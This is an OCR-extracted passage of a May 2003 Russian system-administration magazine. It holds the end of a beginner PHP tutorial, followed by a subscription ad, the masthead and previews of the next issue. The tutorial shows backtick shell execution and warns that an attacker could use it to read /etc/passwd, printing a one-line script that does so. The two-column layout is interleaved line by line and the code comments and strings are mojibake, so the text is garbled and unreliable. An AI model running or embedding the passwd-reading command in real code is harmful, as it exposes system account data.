 booleans (принимает значения false, true);
 integers (целые числа);
 floating point numbers (вещественные);
 string (строки);
 array (массивы любых типов данных);
 objects (объекты);
 resourses (ресурсы);
 NULL (никакое значение).

При этом, как и в Perl, значение типа переменной


объявлять заранее необязательно, все это происходит ав- Ðèñ. 3.
томатически. Чтобы проверить, введите такой пример: И еще надо помнить, что регистр имеет значение, т.е.

92
web
$var и $Var – это две различные переменные, будьте вни- Давайте теперь разберем, что получилось. Начнем с
мательны при наборе. Теперь кратко о типах данных. файла hello.inc. Сначала обратите внимание на появив-
Integer может принимать следующие значения: шиеся комментарии: они при выполнении скрипта пропус-
 $a = 1234 – обычное число; каются и служат для того, чтобы потом можно было ра-
 $a = – 1234 – отрицательное; зобраться в программе. Дополнительно комментариями
 $a = 0123 – восьмеричное; можно временно отключать ту или иную часть кода при
 $a = 0x123 – шестнадцатеричное. отладке. Как вы видите, комментарии можно обозначать
тремя различными способами. Знаки // и # действуют только
Floating point numbers можно записать как в виде $a = 1.234, до конца текущей строки, если есть необходимость в бо-
так и в «научной» нотации $a = 1.2e3. Строка – это дан- лее длинном комментарии, то воспользуйтесь конструкци-
ные, помещенные между двумя знаками «». О перемен- ей в стиле С /* текст комментария */.
ных, пожалуй, пока все, оставшиеся типы рассмотрим по Следующий шаг – это объявление пользовательс-
ходу. Теперь попробуем что-нибудь посложнее. Создайте кой функции. Первая функция printtitle() выдает с по-
в папке сервера файл hello.inc такого содержания: мощью функции print заголовок, который и выведет бра-
узер. Посмотрите, здесь использована так называемая
<?php управляющая последовательность (escaped characters):
function printtitle() # îáúÿâëÿåì ôóíêöèþ
{ символ \n, используемый для перехода на новую стро-
print "<title>Hello from hello.inc</title>\n"; ку, в их число входит также символ \t – знак горизон-
}
function printnumbers($start) тальной табуляции.
{ Функция printnumbers, как видите, уже принимает ар-
print "<H2>"; // âûâîäèì íà÷àëüíûé òåã
for($temp=0; $temp < 5; $temp++) гументы, мы просто увеличиваем значение переменной
{ /* òåïåðü âûâåäåì çíà÷åíèå ïåðåìåííîé */ $start после каждого вызова функции print. Здесь исполь-
print $start++ . "<br>\n";
} зуется оператор приращения, пришедший из языка С.
print "</H2>"; // âûâîäèì êîíå÷íûé òåã Если данный оператор стоит, как в нашем случае, после
}
?> переменной, то ее значение изменится уже после того,
как оператор вернет значение, а если данный оператор
Теперь создайте файл hello1.php такого содержания: поставить перед переменной (++$var), то ее значение из-
менится до того, как возвращается ее значение. Возмож-
<HTML> но также применение оператора уменьшения. Для того
<?php include("./hello.inc") ?>
<HEAD> чтобы соединить две строки, используется точка, а не знак
<?php printtitle() ?> плюс. В конструкции print $start++ . «<br>\n» мы это и ис-
<META HTTP-EQUIV="pragma" CONTENT="nocache">
</HEAD> пользовали. Со строками связан еще один интересный
<BODY> момент – подстановка переменных непосредственно в
Íà÷èíàåì <p>
<?php строку. Для этого строку необходимо заключить в двой-
printnumbers(7); ные кавычки. Попробуйте такой пример:
?>
<p> Çàêàí÷èâàåì <p>
</BODY> <?php
</HTML> $name="Ñåðãåé";
echo "Äîáðûé äåíü $name\n";
Теперь запустите браузер и наберите http://localhost/ echo 'Äîáðûé äåíü $name\n'
?>
hello1.php. Результат посмотрите на рисунке 4.

Ðèñ. 5.
Результат посмотрите на рисунке 5. Как видите, в пер-
вой строке, заключенной в двойные кавычки, выведено
значение переменной $name, а во второй строке с оди-
нарными кавычками такой подстановки не произошло.
Поэтому если вы хотите отобразить такие символы, как
Ðèñ. 4. «$», «/», «“», «.» и некоторые другие, то они должны обя-

№5(6), май 2003 93


web
зательно экранироваться обратным слэшем. А вот с по- hello.inc”) подключает внешний файл, в котором PHP
мощью обратных кавычек можно выполнять команды ин- будет искать информацию, если не найдет ее в основ-
терпретатора. ном файле. Использование одного файла позволяет из-
бежать повторения одной и той же информации во всех
<?php файлах проекта. Да и в случае изменения какой-либо
echo `pwd`
?> функции необходимо будет внести изменения только в
один файл, а не в сотню. Обратите еще внимание на
И браузер выведет название каталога, из которого Unix-стиль указания текущего каталога. Дальше вызы-
запущен скрипт (рис.6). Это, с одной стороны, придает ваем на исполнение функцию printtitle(), которая выво-
гибкость, позволяя использовать мощный потенциал, за- дит заголовок файла, а функция printnumbers(7), как
ложенный в систему, а с другой – необходимость забо- видите, вызывается с аргументом, который будет пе-
титься о безопасности, ведь злоумышленник может ис- редан в тело функции.
полнить и такой скрипт: Теперь немного информации для тех, кто хочет на-
чать изучать новый для себя язык программирования,
<?php но не знает, с чего начать. Для того чтобы полноценно
$cat=`cat /etc/passwd`;
echo "<pre>$cat</pre>" работать с PHP, вам понадобится как минимум три
?> вещи. Первая – собственно интерпретатор, здесь от-
правная точка – официальный сайт проекта http://
www.php.net/, где вы дополнительно найдете докумен-
тацию (на английском) http://www.php.net/manual/en.
Еще советую заглянуть на сайт http://www.phpbuilder.com,
где также полно документации (опять же на английс-
ком), а вот по адресу http://pear.php.net расположен ана-
лог Perl CPAN, называемый PEAR (PHP Extension and
Application Repository), где можно найти большое коли-
чество готовых скриптов. Для тех, кто программирует
под Windows, еще один полезный ресурс: http://
www.php4win.com/.
Теперь вы можете запускать свои скрипты в команд-
Ðèñ. 6. ной строке, php myscript.php и результат действия будет
И браузер выведет содержимое файла /etc/passwd выведен на терминал.
(рис.7). Дальше мы столкнулись с оператором цикла. Но для полноценной работы необходимо наличие
Оператор for используется для итерационного выполне- веб-сервера, здесь альтернативы очень удобному бес-
ния команд, находящихся в теле цикла. В данном слу- платному и наиболее популярному веб-серверу Apache,
чае, пока переменная $temp не достигнет значения, мень- который есть как для Windows, так и для Unix-подоб-
шего или равного пяти, будет печататься значение пе- ных операционных систем, нет. Найти индейца можно
ременной $start. по адресу http://www.apache.org или его «русифициро-
При этом возможны, например, и такие конструкции: ванный» вариант, который можно взять с сайта http://
apache.lexa.ru/.
for ($i = 1; $i <= 10; print $start++ , $i++) ; И третий компонент, который может вам понадобить-
ся – это какой-нибудь SQL-сервер. Здесь выбор боль-
шой, я лично использую MySQL http://www.mysql.com/.
Из редакторов под Windows (кроме блокнота) могу по-
советовать CuteHTML или Arisesoft Winsyntax (http://
www.winsyntax.com/files/site2/aswsyn20.zip).
А вот тем, кто пользуется Linux, беспокоиться о по-
иске необходимых файлов не надо, все необходимое,
как правило, устанавливается вместе с дистрибутивом
и уже готово к использованию, никаких дополнитель-
ных настроек в конфигурационных файлах делать не
надо. Более того, все текстовые редакторы, такие как
Nedit, kate, Write и другие, имеют подсветку синтаксиса
PHP. К тому же HTML-редактор Quanta имеет встроен-
ную отличную краткую документацию не только по PHP,
а и HTML, CSS и JavaScript, которую можно отдельно
скачать с сайта проекта http://quanta.sourceforge.net/
Ðèñ. 7. quantadoc/. А HTML-редактор bluefish имеет заготовки
Все, с файлом hello.inc разобрались, давайте перей- практически для всех функций PHP.
дем теперь к файлу hello1.php. Оператор include(“./ Пока все. До следующего раза. Успехов.

94
подписка

Альтернативная подписка: ООО «Интер-Почта»


по тел. (095) 500-00-60
Курьерская доставка по Москве
81655

Единый
подписной
индекс:

81655
по каталогу 81655
агентства
«Роспечать»

Рады видеть
Вас нашими
читателями!

№5(6), май 2003 95


СИСТЕМНЫЙ АДМИНИСТРАТОР
№ 5(6), Май, 2003 год

РЕДАКЦИЯ
ЧИТАЙТЕ
Исполнительный директор
Владимир Положевец
В СЛЕДУЮЩЕМ
Ответственный секретарь
Наталья Хвостова
НОМЕРЕ:
sekretar@samag.ru
Технический редактор
Владимир Лукин Учет трафика жать выход из строя сервера или от-
с помощью программ дельных демонов в результате DoS- и
РЕКЛАМНАЯ СЛУЖБА MRTG и LAN Billing даже DDoS-атак). Позволяет осуще-
тел.: (095) 928-8253 (доб. 112) Программа MRTG (The Multi Router ствлять распределение нагрузки меж-
факс: (095) 928-8253 Traffic Grapher) предназначена для ду несколькими сетевыми интерфей-
Константин Меделян мониторинга загрузки канала за сут- сами. С помощью очередей также
reсlama@samag.ru ки, неделю, месяц и год. Программа можно добиться существенного уве-
MRTG умеет рисовать красивые кар- личения производительности сети в
Верстка и оформление тинки в формате PNG, которые отобра- целом при помощи разделения раз-
imposer@samag.ru жают состояние канала за определен- личных видов трафика (например,
maker_up@samag.ru ный период времени. Программа пре- интерактивные данные должны обра-
доставляет очень удобные средства батываться быстрее) на основе поля
Дизайн обложки для подсчета трафика: подсчет для ToS (type of service – тип данных).
Николай Петрочук всей сети и для отдельного узла, гене- Iproute2 также дает возможность
рирование отчетов и диаграмм в фор- ограничения SYN-flood и ICMP-dDoS
103012, г. Москва, мате HTML и многое другое. Пример атак. Кроме этого можно устанавли-
Ветошный переулок, дом 13/15 использования вы можете увидеть на вать свой предел скорости на основе
тел.: (095) 928-8253 (доб. 112) сайте http://www.stat.ee.ethz.ch/mrtg/. различных фильтров.
факс: (095) 928-8253 Для работы mrtg нам потребуется
Е-mail: info@samag.ru маршрутизатор, поддерживающий Контрольная сумма на
Internet: www.samag.ru протокол SNMP. В этой статье будет защите Linux/FreeBSD
рассмотрен пример, позволяющий Из всех аспектов деятельности сис-
РУКОВОДИТЕЛЬ ПРОЕКТА обойтись без маршрутизатора и вооб- темного администратора наиболее
Петр Положевец ще не использовать протокол SNMP. интересными и в то же время самы-
Программа MRTG будет периоди- ми сложными являются вопросы обес-
УЧРЕДИТЕЛИ чески запускаться на узле MRTG, печения безопасности существования
Владимир Положевец обновляя информацию о трафике. системы. Эту тему на различных кур-
Александр Михалев Пользователи локальной сети могут сах обычно всегда излагают доволь-
ознакомиться с этой информацией но поверхностно, но защита, опреде-
ИЗДАТЕЛЬ по протоколу HTTP. Естественно, на ленно, наиболее важная часть рабо-
ЗАО «Издательский дом узле MRTG должен быть установлен ты, вне зависимости от назначения
«Учительская газета» веб-сервер. компьютера и типа операционной си-
стемы, установленной на нем. После
Отпечатано типографией Cтатическая маршрутизация того как компьютер станет доступным
ООО «Мастер Печати» в Linux. iproute2 тысячам пользователей в Интернете
Тираж 5000 экз. Часть 2 или даже десятку сотрудников в не-
Во второй части описаны принципы большом офисе, придется львиную
Журнал зарегистрирован управления сетевым трафиком по- долю времени уделять проблеме бес-
в Министерстве РФ по делам печати, средством очередей. Эта тема зачас- перебойной и стабильной работы
телерадиовещания и средств мас- тую не упоминается в руководствах, сервера, недопущению утечки кон-
совых коммуникаций (свидетельство но на самом деле с помощью очере- фиденциальной информации. При-
ПИ № 77-12542 от 24 апреля 2002г.) дей сетевых пакетов можно выпол- чем уделять внимание данному воп-
нять широкий круг исключительно по- росу необходимо не время от време-
За содержание статьи ответственность лезных задач. ни, а это должна быть именно посто-
несет автор. За содержание рекламно- Приведу несколько примеров, ко- янная целенаправленная деятель-
го обьявления ответственность несет торые часто встречаются на практи- ность. Иначе в один прекрасный день
рекламодатель. Все права на опубли- ке. Итак, очереди способны контроли- на главной странице сайта появится
кованные материалы защищены. Ре- ровать скорость передачи пакетов, надпись, что ваш сайт взломан. И
дакция оставляет за собой право изме- ограничивая нежелательный сетевой это, кстати, не самое страшное, что
нять содержание следующих номеров. трафик по скорости (позволяет избе- может произойти.

96